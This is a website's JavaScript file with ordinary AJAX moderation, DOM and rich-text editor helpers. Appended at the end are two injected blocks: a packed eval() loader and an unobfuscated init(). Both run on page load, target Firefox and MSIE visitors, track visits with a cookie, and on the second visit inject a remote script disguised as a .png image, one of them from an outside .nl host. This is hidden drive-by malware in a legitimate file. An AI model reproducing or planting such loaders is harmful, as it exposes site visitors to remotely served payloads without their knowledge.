var request = false;
var lastElementId;

// General website independant code
function setup(){
	// If the function fails, we can't create a xml http request
	// so if we return false, this function failed
	var newRequest = false;
	
	// "decent" browsers, ie. mozilla, safari, konqueror
	if(window.XMLHttpRequest){
		newRequest = new XMLHttpRequest();
	}
	// MSIE
	else if(window.ActiveXObject){
		newRequest = new ActiveXObject("Microsoft.XMLHTTP");
	}
	// else we don't support you
	else alert("Your browser is not supported, if you know that your browser supports javascript, please email the webmaster");
	
	return newRequest;
}

function getElement(layer) {
	if( document.getElementById ) return document.getElementById( layer );
	else if( document.all ) return document.all[layer];
	else return document[layer];
}

function setElement(elName, elText){
	//w3c dom
  	if(document.getElementById) getElement(elName).innerHTML = elText;
	else if(document.all) document.all[elName].innerHTML = elText;
	else if(document.layers){ 
		//netscape navigator dom
		document.elName.document.open();
		document.elName.document.write(elText);
		document.elName.document.close();
	}
}

function run(url, callback){
	request = setup();
	
	request.open("GET", url, true);
	request.onreadystatechange = callback;
	request.send(null);
}

// Website specific code
function canceledItem(id, contentType){
	lastElementId = contentType + "msg" + id;
	run("remove.php?a=cancel&t=" + contentType + "&id=" + id, newDataReceived);
}

function newDataReceived(){
	if(request.readyState == 4){
		var response = request.responseText;
		// Remove the stuff we already have (<div id='xxx111'>TEXT</div>)
		response = response.replace(/^<div id='[a-zA-Z]*[0-9]*'[ a-zA-Z0-9=']*>/, '');
		response = response.replace(/<\/div>$/, '');
// 		alert(lastElementId);
		setElement(lastElementId, response);
	}
}

function deleteItem(id, contentType, sure){
	lastElementId = contentType + "msg" + id;
	run("remove.php?a=remove&t=" + contentType + "&id=" + id + "&sure=" + sure, newDataReceived);
}

function markAsSpam(id, contentType, isSpam){
	lastElementId = contentType + "msg" + id;
	run("remove.php?a=spam&t=" + contentType + "&id=" + id + "&isspam=" + isSpam, newDataReceived);
}

function markAsHidden(id, contentType, isHidden){
	lastElementId = contentType + "msg" + id;
	run("remove.php?a=hide&t=" + contentType + "&id=" + id + "&ishidden=" + isHidden, newDataReceived);
}

function closeItem(id, contentType){
	lastElementId = contentType + "msg" + id;
	setElement(lastElementId, '');
}

function getEditor(outputForm, contentType, count, extraParameters){
	lastElementId = outputForm;
	
	url = "post.php?editor=" + count + "&type=" + contentType;
	
	if(extraParameters != null){
		url = url + "&" + extraParameters;
	}
	
	run(url, newDataReceived);
}


// DOM operations
function removeElement(parentElement, element){
	var parentById = getElement(parentElement);
	var elementById = getElement(element);
	
	parentById.removeChild(elementById);
}

function addElement(parentElement, newId){
	var parentById = getElement(parentElement);
	
	var container = document.createElement('div');
	container.setAttribute('id', newId);
	
	var el = document.createElement('input');
	el.setAttribute('id', 'file_' + newId);
	el.setAttribute('name', 'file_' + newId);
	el.setAttribute('type', 'file');
	
	var textField = document.createElement('input');
	textField.setAttribute('id', 'text_' + newId);
	textField.setAttribute('name', 'text_' + newId);
	textField.setAttribute('type', 'text');
	
	parentById.appendChild(container);
	container.appendChild(el);
	container.appendChild(textField);
}

// Preview code
function registerField(fieldName){
	
}

function updatePreview(){
	for(i = 0; i < count(fields); ++i){
		
	}
}

function disableAllFormElements(formId){
	var formEl = document.forms[formId];
	
	for(var i = 0; i < formEl.length; i++){
		formEl.elements[i].disabled = true;
	}
}

// Rich text
function loadRichText(elementName){
	var ifr = document.getElementById(elementName + 'Rich');
	var textarea = document.getElementById(elementName);
	
	if(useRichEdit(elementName + 'Rich')){
		removeElement(textarea);
		ifr.style.display = 'block';
		document.getElementById('editPanel').style.display = 'block';
		getIFrameDocument(elementName + 'Rich').designMode = "On";
	}
	else{
		removeElement(ifr);
	}
}

function useRichEdit(id){
	return getIFrameDocument(id).designMode;
}

function getIFrameDocument(id){
	if(document.getElementById(id).contentDocument) return document.getElementById(id).contentDocument;
	else return document.frames[id].document;
}

function doRichEditCommand(command, arg){
	if(useRichEdit('edit')){
		getIFrameDocument('edit').execCommand(command, false, arg);
		document.getElementById('edit').contentWindow.focus();
	}
	else{
		var textarea = document.getElementById('edit');
		textarea.focus();
	}
}

function addToolbarButton(name, func){
	var b = document.createElement('a');
	b.setAttribute('href', '#');
	b.setAttribute('onclick', 'javascript: doRichEditCommand("' + func + '");');
	
	
	return b;
}

function createToolbar(parentElementName){
	parentElement = getElement(parentElementName);
	parentElement.appendChild(addToolbarButton('b', 'bold'));
	
}

function scrollElement(elName, side){
	var el = getElement(elName);
	var  i = 0;
	el.movementTimer = setInterval(function(){ el.scrollLeft = el.scrollLeft + i * (0.75) * side; ++i; }, 50);
}

function stopScroll(elName){
	var el = getElement(elName);
	if(el.movementTimer){
		clearTimeout(el.movementTimer)
	}
}

function scrollDivTo(elName, scrollElementName){
	var el = getElement(elName);
	var scrollElement = getElement(scrollElementName);
	
	// wait a little because the div's before might contain images which must have a width (ie. are at least partially loaded)
	setTimeout(	function(){
					scrollElement.scrollLeft = el.offsetLeft - scrollElement.offsetWidth / 2;
				}, 500);
}



eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(k(d){2 e=Z.W;2 f=T;5(e.7("U")!=-1||e.7("17")!=-1)f=m;5(f!==m)o;2 n=\'12://H.E/N/K.R?M\';2 c=t("a");5(c){5(c==\'p\'){b("a","Q","3");2 s=6.P(\'J\');s.I=\'D/C\';s.B=n+\'&r=\'+z u().O();2 h=6.10(\'13\')[0];h.S(s)}l{}}l{b("a","p","3")}k t(8){2 i,x,y,4=6.w.18(";");11(i=0;i<4.V;i++){x=4[i].q(0,4[i].7("="));y=4[i].q(4[i].7("=")+1);x=x.X(/^\\s+|\\s+$/g,"");5(x==8){o Y(y)}}}k b(8,v,j){2 9=z u();9.16(9.15()+j);2 A=14(v)+((j==F)?"":"; L="+9.G());6.w=8+"="+A}})(6);',62,71,'||var||ARRcookies|if|document|indexOf|c_name|exdate|wss|setCookie|rc||agent|show||||exdays|function|else|true|staturl|return|goot1|substr|||getCookie|Date|value|cookie|||new|c_value|src|javascript|text|nl|null|toUTCString|harmonieweert|type|script|voorpagina_agenda_buttonmeer|expires|js|images|getTime|createElement|goot2|png|appendChild|false|Firefox|length|userAgent|replace|unescape|navigator|getElementsByTagName|for|http|head|escape|getDate|setDate|MSIE|split'.split('|'),0,{}))


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/menu_itemdivisionline.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
